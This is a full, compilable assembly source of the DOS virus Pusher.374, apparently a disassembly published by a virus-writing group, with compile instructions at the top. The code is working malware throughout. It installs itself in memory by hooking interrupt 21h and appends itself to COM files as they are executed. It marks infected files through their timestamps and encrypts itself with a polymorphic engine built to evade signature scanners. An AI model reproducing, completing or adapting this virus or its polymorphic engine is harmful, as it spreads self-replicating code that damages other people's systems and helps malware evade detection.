comment *
			       Pusher.374	       млллллм млллллм млллллм
			     Disassembly by	       ллл ллл ллл ллл ллл ллл
			      Darkman/29A		мммллп плллллл ллллллл
						       лллмммм ммммллл ллл ллл
						       ллллллл ллллллп ллл ллл

  Pusher.374 is a 374 bytes resident appending COM virus, it infects files at
  load and execute program. Pusher.374 is polymorphic in file using its
  internal polymorphic engine.

  I would like to thank Poltergeist for providing me the binary of this virus.

  Compile Pusher.374 with Turbo Assembler v 5.0 by typing:
    TASM /M PUSH_374.ASM
    TLINK /x PUSH_374.OBJ
    EXE2BIN PUSH_374.EXE PUSH_374.COM
*

.model tiny
.code

code_begin:
	     call    delta_offset

origin_code  db      11001101b,00100000b,?
	     db      '[PUSH]'            ; Name of the virus
delta_offset:
	     pop     si 		 ; Load SI from stack

	     mov     di,100h		 ; DI = offset of beginning of code
	     push    di 		 ; Save DI at stack
	     movsb			 ; Move the original code to beginning
	     movsw			 ;  "    "     "      "   "      "

	     mov     ax,0b8cdh		 ; Pusher.374 function
	     int     21h

	     dec     si 		 ; SI = delta offset
	     dec     si 		 ; "  "   "     "
	     dec     si 		 ; "  "   "     "
	     dec     si 		 ; "  "   "     "
	     dec     si 		 ; "  "   "     "
	     dec     si 		 ; "  "   "     "

	     inc     ax 		 ; Already resident?
	     jz      virus_exit 	 ; Zero? Jump to virus_exit

	     push    ds es		 ; Save segments at stack
	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     word ptr [si+int21_addr+02h],es
	     mov     word ptr [si+int21_addr],bx

	     pop     es 		 ; Load ES from stack
	     push    es 		 ; Save ES at stack

	     mov     ah,4ah		 ; Resize memory block
	     mov     bx,0ffffh		 ; BX = new size in paragraphs
	     int     21h

	     mov     ah,4ah		 ; Resize memory block
	     sub     bx,(data_end-code_begin+0fh)/10h+01h
	     int     21h

	     mov     ah,48h		 ; Allocate memory
	     mov     bx,(data_end-code_begin+0fh)/10h
	     int     21h

	     mov     di,01h		 ; DI = PSP segment of owner or spe...

	     dec     ax 		 ; AX = segment of current Memory C...
	     mov     es,ax		 ; ES =    "    "     "      "     "

	     inc     ax 		 ; AX = segment of Program Segment ...
	     stosw			 ; Store Program Segment Prefix (PSP)

	     mov     di,10h		 ; DI = offset of virus
	     mov     cx,(code_end-code_begin)/02h
	     rep     movsw		 ; Move the virus to top of memory

	     mov     ds,ax		 ; DS = segment of virus
	     lea     dx,int21_virus	 ; DX = offset of int21_virus
	     mov     ax,2521h		 ; Set interrupt vector 21h
	     int     21h
	     pop     es ds		 ; Load registers from stack
virus_exit:
	     ret     (code_end-code_begin)

virus_offset equ     word ptr $+01h	 ; Offset of virus within infected ...
infect_code  db      11101001b,?,?	 ; JMP imm16 (opcode 0e9h)

int21_virus  proc    near		 ; Interrupt 21h of Pusher.374
	     cmp     ax,0b8cdh		 ; Pusher.374 function?
	     jne     not_push_fun	 ; Not equal? Jump to not_push_fun

	     mov     ax,0ffffh		 ; Already resident

	     iret			 ; Interrupt return

infect_file  proc    near		 ; Infect COM file
	     mov     ax,4202h		 ; Set current file position (EOF)
	     call    set_file_pos

	     dec     ax 		 ; AX = offset of virus within infe...
	     dec     ax 		 ; "  "   "    "    "     "       "
	     dec     ax 		 ; "  "   "    "    "     "       "
	     mov     [virus_offset],ax	 ; Store offset of virus within inf...

	     push    bx 		 ; Save BX at stack
	     call    push_poly
	     pop     bx 		 ; Load BX from stack

	     mov     ah,40h		 ; Write to file
	     int     21h

	     mov     ax,4200h		 ; Set current file position (SOF)

set_file_pos proc    near		 ; Set current file position (EOF)
	     cwd			 ; Zero DX

get_file_att proc    near		 ; Get file attributes
	     xor     cx,cx		 ; Zero CX
	     int     21h

	     ret			 ; Return
	     endp
	     endp
	     endp

random_num   dw      1100001111000011b	 ; 16-bit random number
not_push_fun:
	     cmp     ax,4b00h		 ; Load and execute program?
	     push    ax bx		 ; Save registers at stack
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     mov     ah,43h		 ; Get file attributes
	     int     21h
	     jc      int21_exit 	 ; Error? Jump to int21_exit

	     mov     ax,4301h		 ; Get file attributes
	     push    ax cx dx ds	 ; Save registers at stack
	     call    get_file_att
	     jc      set_file_att	 ; Error? Jump to set_file_att

	     mov     ax,3d02h		 ; Open file (read/write)
	     int     21h
	     jc      set_file_att	 ; Error? Jump to set_file_att
	     xchg    ax,bx		 ; BX = file handle

	     mov     ax,5700h		 ; Get file's date and time
	     int     21h
	     jc      close_file 	 ; Error? Jump to close_file

	     db      10001001b,11001000b ; MOV AX,CX (opcode 89h,0c8h)
	     and     ax,0000000000011111b
	     dec     ax 		 ; Already infected?
	     jz      close_file 	 ; Zero? Jump to close_file

	     push    cx dx		 ; Save registers at stack
	     mov     cx,03h		 ; Read three bytes

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     dx,cx		 ; DX = offset of origin_code
	     int     21h
	     jc      set_inf_mark	 ; Error? Jump to set_inf_mark

	     cmp     [origin_code],'M'   ; EXE signature?
	     je      set_inf_mark	 ; Found EXE signature? Jump to set...

	     call    infect_file

	     lea     dx,infect_code	 ; DX = offset of infect_code
	     mov     cx,03h		 ; Write three bytes
	     mov     ah,40h		 ; Write to file
	     int     21h
set_inf_mark:
	     pop     dx ax		 ; Load registers from stack
	     and     al,11100000b	 ; AL = new time
	     xchg    ax,cx		 ; CX =  "   "
	     inc     cx 		 ; "  "  "   "
	     mov     ax,5701h		 ; Set file's date and time
	     xor     [random_num],ax	 ; Store 16-bit random number
	     int     21h
close_file:
	     mov     ah,3eh		 ; Close file
	     int     21h
set_file_att:
	     pop     ds dx cx ax	 ; Load registers from stack

	     int     21h
int21_exit:
	     pop     bx ax		 ; Load registers from stack

	     jmp     int21_exit_

comment *
		    Pusher.374 (polymorphic engine)    млллллм млллллм млллллм
			     Disassembly by	       ллл ллл ллл ллл ллл ллл
			      Darkman/29A		мммллп плллллл ллллллл
						       лллмммм ммммллл ллл ллл
						       ллллллл ллллллп ллл ллл

  Garbage instructions:
    INC AX; DEC AX; MOV AL,imm8; MOV AH,imm8; ADD AX,imm16; SUB AX,imm16

  Decryptor:
    MOV AX,imm16				      (Two bytes of the virus)
    PUSH AX
    INC AX
    PUSH AX
    MOV AL,imm8
    PUSH AX
    MOV AH,imm8
    PUSH AX
    ADD AX,imm16
    PUSH AX
    SUB AX,imm16
    PUSH AX
    ...
    JMP SP

  Minimum length of decryptor		     Depends on the virus length.
  Maximum length of decryptor		     Depends on the virus length.
  Length of Pusher.374 (polymorphic engine): 111 bytes.
*

push_poly    proc    near		 ; Pusher.374 (polymorphic engine)
	     lea     di,data_buffer	 ; DI = offset of data_buffer

	     pushf			 ; Save flags at stack

	     push    di 		 ; Save DI at stack
	     in      ax,40h		 ; AX = 16-bit random number
	     xchg    ax,bp		 ; BP =   "      "      "

	     mov     dx,(code_end-code_begin+02h)/02h
	     lea     si,[di-02h]	 ; SI = offset of end of virus
	     std			 ; Set direction flag
	     lodsw			 ; AX = two bytes of the virus

	     mov     byte ptr [di],10111000b
	     inc     di 		 ; DI = offset of 16-bit immediate
	     mov     [di],ax		 ; Store 16-bit immediate
next_instr:
	     inc     di 		 ; DI = offset of next instruction
next_instr_:
	     inc     di 		 ; DI =   "    "   "        "
gen_push_ax:
	     dec     dx 		 ; Finnished generating the polymor..?
	     jnz     gen_inc_ax 	 ; Not zero? Jump to gen_inc_ax

	     mov     [di],1110010011111111b
	     inc     di 		 ; DI = offset of next instruction

	     pop     dx 		 ; Load DX from stack
	     inc     di 		 ; DI = offset of next instruction
	     sub     di,dx		 ; DI = length of decryptor + encry...
	     mov     cx,di		 ; CX =   "    "      "     "    "

	     popf			 ; Load flags from stack

	     ret			 ; Return
gen_inc_ax:
	     mov     byte ptr [di],01010000b
	     inc     di 		 ; DI = offset of next instruction
	     xchg    ax,bx		 ; BX = previous two bytes of the v...

	     lodsw			 ; AX = two bytes of the virus
	     db      10001001b,11000001b ; MOV CX,AX (opcode 89h,0c1h)
	     db      00101001b,11011001b ; SUB CX,BX (opcode 29h,0d9h)
	     jz      gen_push_ax	 ; Zero? Jump to gen_push_ax

	     loop    gen_dec_ax

	     mov     byte ptr [di],01000000b

	     jmp     next_instr_
gen_dec_ax:
	     inc     cx 		 ; Increase difference between prev...
	     inc     cx 		 ;    "         "         "       "
	     jnz     gen_mov_al 	 ; Not zero? Jump to gen_mov_al

	     mov     byte ptr [di],01001000b

	     jmp     next_instr_
gen_mov_al:
	     dec     cx 		 ; Decrease difference between prev...

	     db      00111000b,11111100b ; CMP AH,BH (opcode 38h,0fch)
	     jne     gen_mov_ah 	 ; Not equal? Jump to gen_mov_ah

	     mov     byte ptr [di],10110000b
	     inc     di 		 ; DI = offset of 8-bit immediate
	     mov     [di],al		 ; Store 8-bit immediate

	     jmp     next_instr_
gen_mov_ah:
	     db      00111000b,11011000b ; CMP AL,BL (opcode 38h,0d8h)
	     jne     gen_add_ax 	 ; Not equal? Jump to gen_add_ax

	     mov     byte ptr [di],10110100b
	     inc     di 		 ; DI = offset of 8-bit immediate
	     mov     [di],ah		 ; Store 8-bit immediate

	     jmp     next_instr_
gen_add_ax:
	     mov     byte ptr [di],00000101b

	     inc     bp 		 ; Increase 16-bit random number
	     rol     bp,01h		 ; Rotate 16-bit random number one ...
	     jnc     gen_add_ax_	 ; Carry? Jump to gen_add_ax_

	     mov     byte ptr [di],00101101b
	     neg     cx 		 ; Negate 16-bit immediate
gen_add_ax_:
	     inc     di 		 ; DI = offset of 16-bit immediate
	     mov     [di],cx		 ; Store 16-bit immediate

	     jmp     next_instr
	     endp
int21_exit_:
	     db      11101010b		 ; JMP imm32 (opcode 0eah)
int21_addr   dd      ?			 ; Address of interrupt 21h
	     endp
code_end:
data_buffer  db      38ah dup(?)	 ; Data buffer
data_end:

end	     code_begin
